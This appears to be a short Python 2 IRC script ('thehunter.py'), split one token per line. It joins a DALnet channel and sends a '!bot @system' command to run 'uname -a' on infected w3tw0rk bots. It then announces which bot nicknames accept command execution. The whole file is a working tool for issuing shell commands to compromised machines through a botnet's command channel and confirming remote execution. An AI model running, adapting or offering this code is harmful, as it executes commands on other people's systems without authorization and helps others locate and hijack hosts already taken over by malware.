import
socket
import
sys
def
usage():
print
(
"USAGE: python thehunter.py nick \n"
)
def
main(argv):
if
len
(argv) <
2
:
return
usage()
botnick
=
sys.argv[
1
]
server
=
"us.dal.net"
channel
=
"#buhaypirata"
#channel where the bot
is
located
irc
=
socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print
"connecting to:"
+
server
irc.connect((server,
6667
))
irc.send(
"USER "
+
botnick
+
" "
+
botnick
+
" "
+
botnick
+
" :I eat w3tw0rk bots!\n"
)
irc.send(
"NICK "
+
botnick
+
"\n"
)
irc.send(
"JOIN "
+
channel
+
"\n"
)
irc.send(
"PRIVMSG "
+
channel
+
" :!bot @system 'uname -a' \n"
)
while
1
:
text
=
irc.recv(
2040
)
print
text
if
text.find(
'PING'
) !
=
-
1
:
irc.send(
'PONG '
+
text.split() [
1
]
+
'\r\n'
)
if
text.find(
'!quit'
) !
=
-
1
:
irc.send (
"QUIT\r\n"
)
sys.exit()
if
text.find(
'Linux'
) !
=
-
1
:
irc.send(
"PRIVMSG "
+
channel
+
" :The bot answers to "
+
botnick
+
" which allows command execution \r\n"
)
irc.send (
"QUIT\r\n"
)
sys.exit()
if
__name__
=
=
"__main__"
:
main(sys.argv)